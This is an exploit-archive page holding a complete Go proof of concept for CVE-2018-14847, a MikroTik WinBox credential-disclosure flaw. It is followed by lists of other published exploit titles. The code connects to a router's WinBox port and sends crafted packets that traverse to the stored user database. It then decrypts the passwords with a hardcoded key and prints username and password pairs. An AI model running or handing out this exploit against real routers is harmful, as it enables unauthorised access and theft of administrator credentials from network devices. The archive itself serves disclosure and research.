Menu

Search for hundreds of thousands of exploits

"Mikrotik WinBox 6.42 - Credential Disclosure (golang)"

Author

Exploit author

"Maxim Yefimenko"

Platform

Exploit platform

hardware

Release date

Exploit published date

2018-08-17

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
/*

# Title: Mikrotik WinBox 6.42 - Credential Disclosure ( golang edition )
# Author: Maxim Yefimenko ( @slider )
# Date: 2018-08-06
# Sotware Link: https://mikrotik.com/download
# Vendor Page: https://www.mikrotik.com/
# Version: 6.29 - 6.42
# Tested on: Fedora 28 \ Debian 9 \ Windows 10 \ Android ( wherever it was possible to compile.. it's golang ^_^ )
# CVE: CVE-2018-14847
# References:
# ( Alireza Mosajjal ) https://github.com/mosajjal https://n0p.me/winbox-bug-dissection/
# ( BasuCert ) https://github.com/BasuCert/WinboxPoC
# ( manio ) https://github.com/manio/mtpass/blob/master/mtpass.cpp
# and special thanks to Dmitriy_Area51

*/

package main

import (
	"crypto/md5"
	"fmt"
	"net"
	"os"
	"strings"
	"time"
)

var (
	a = []byte{0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
		0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
		0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
		0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
		0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
		0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
		0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
		0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
		0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
		0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
		0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
		0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
		0x00, 0x00}

	b = []byte{0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
		0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
		0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
		0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
		0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
		0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
		0x00, 0x02, 0x00, 0x00, 0x00}

	buf = make([]byte, 1024*8)
)

func checkErr(err error) {
	if err != nil {
		fmt.Println("Error:" + err.Error())
	}
}

func decryptPassword(user []byte, passEnc []byte) string {
	var passw []byte
	hasher := md5.New()
	hasher.Write(user)
	hasher.Write([]byte("283i4jfkai3389"))
	key := hasher.Sum(nil)

	for i := 0; i < len(passEnc); i++ {
		passw = append(passw, passEnc[i]^key[i%len(key)])
	}

	return string(ASCIIonly(passw))
}

func ASCIIonly(s []byte) []byte {
	for i, c := range s {
		if c < 32 || c > 126 {
			return s[:i]
		}
	}
	return s
}

func extractPass(buff []byte) (s []string) {
	var (
		usr []byte
		pwd []byte
	)

	//searching for StartOfRecord
	for i := 0; i < len(buff); i++ {

		if i+2 >= len(buff) {
			break
		}

		if (buff[i] == 0x4d) && (buff[i+1] == 0x32) && (buff[i+2] == 0x0a || buff[i+2] == 0x10) {
			// fmt.Printf("Probably user record at offset 0x%.5x\n", i)

			//some bytes ahead is enable/disable flag
			i += int((buff[i+2] - 5))
			if i >= len(buff) {
				break
			}

			//searching for StartOfRecNumber
			if i+3 >= len(buff) {
				break
			}

			for !((buff[i] == 0x01) && ((buff[i+1] == 0x00) || (buff[i+1] == 0x20)) && (buff[i+3] == 0x09 || buff[i+3] == 0x20)) {
				i++
				if i+3 >= len(buff) {
					break
				}
			}

			i += 4
			if i >= len(buff) {
				break
			}
			// fmt.Printf("SORn: 0x%X\n", i)

			// comment?
			i += 18
			if (i + 4) >= len(buff) {
				break
			}
			if (!((buff[i+1] == 0x11) && (buff[i+2] == 0x20) && (buff[i+3] == 0x20) && (buff[i+4] == 0x21))) && (buff[i-5] == 0x03 && (buff[i] != 0x00)) {
				if (i+1)+int(buff[i]) >= len(buff) {
					break
				}
				i += int(buff[i])
			} else {
				i -= 18
			}

			//searching for StartOfPassword
			if i+4 >= len(buff) {
				break
			}

			for !((buff[i] == 0x11) && (buff[i+3] == 0x21) && ((buff[i+4] % byte(0x10)) == 0)) {
				i++
				if i+4 >= len(buff) {
					break
				}
			}
			i += 5
			if (i + 3) >= len(buff) {
				break
			}

			if (buff[i-1] != 0x00) && !((buff[i] == 0x01) && ((buff[i+1] == 0x20 && buff[i+2] == 0x20) || (buff[i+1] == 0x00 && buff[i+2] == 0x00)) && (buff[i+3] == 0x21)) {
				pwd = buf[i-1+1 : int(buf[i-1])+i-1+1]
				i += int(buff[i-1])
			}

			//searching for StartOfUsername
			if i+3 >= len(buff) {
				break
			}
			for !((buff[i] == 0x01) && (buff[i+3] == 0x21)) {
				i++
				if i+3 >= len(buff) {
					break
				}
			}

			i += 4
			if i >= len(buff) {
				break
			}
			if buff[i] != 0x00 {
				if i+int(buff[i]) >= len(buff) {
					break
				}

				usr = ASCIIonly(buff[i+1 : int(buff[i])+i+1])
				i += int(buff[i])
			}

			decrypted := decryptPassword(usr, pwd)
			//fmt.Printf(" --> %s\t%s\n", buff[i], decrypted)

			if len(usr) != 0 {
				s = append(s, strings.Join([]string{string(usr), string(decrypted)}, ":"))
			}

		}
	}

	return s
}

func main() {

	if len(os.Args) < 2 {
		fmt.Printf(" [ usage: %s 192.168.88.1\n\n", os.Args[0])
		os.Exit(0)
	}

	conn, err := net.DialTimeout("tcp", os.Args[1]+":8291", time.Duration(3*time.Second))

	if err != nil {
		fmt.Println(err.Error())
		return
	}

	defer conn.Close()

	conn.Write(a)
	reqLen, err := conn.Read(buf)
	checkErr(err)
	if reqLen < 38 {
		panic("First packet is too small")
	}

	b[19] = buf[38]

	conn.Write(b)
	reqLen, err = conn.Read(buf)
	checkErr(err)
	db := buf[:reqLen]

	s := extractPass(db)
	for i, acc := range s {
		data := strings.SplitN(acc, ":", 2)
		fmt.Printf(" [%d] %s\t%s\n", i, data[0], data[1])
	}
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-30 "ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure" webapps hardware "Zagros Bingol"
2020-11-30 "Intelbras Router RF 301K 1.1.2 - Authentication Bypass" webapps hardware "Kaio Amaral"
2020-11-27 "Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution" webapps hardware "Emre SUREN"
2020-11-24 "Seowon 130-SLC router 1.0.11 - 'ipAddr' RCE (Authenticated)" webapps hardware maj0rmil4d
2020-11-23 "TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass" webapps hardware malwrforensics
2020-11-19 "Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification" webapps hardware "Ricardo Longatto"
2020-11-19 "Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure" remote hardware "Nitesh Surana"
2020-11-16 "Cisco 7937G - DoS/Privilege Escalation" remote hardware "Cody Martin"
2020-11-13 "ASUS TM-AC1900 - Arbitrary Command Execution (Metasploit)" webapps hardware b1ack0wl
2020-11-13 "Citrix ADC NetScaler - Local File Inclusion (Metasploit)" webapps hardware "RAMELLA Sebastien"
Release Date Title Type Platform Author
2018-08-17 "Mikrotik WinBox 6.42 - Credential Disclosure (golang)" webapps hardware "Maxim Yefimenko"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.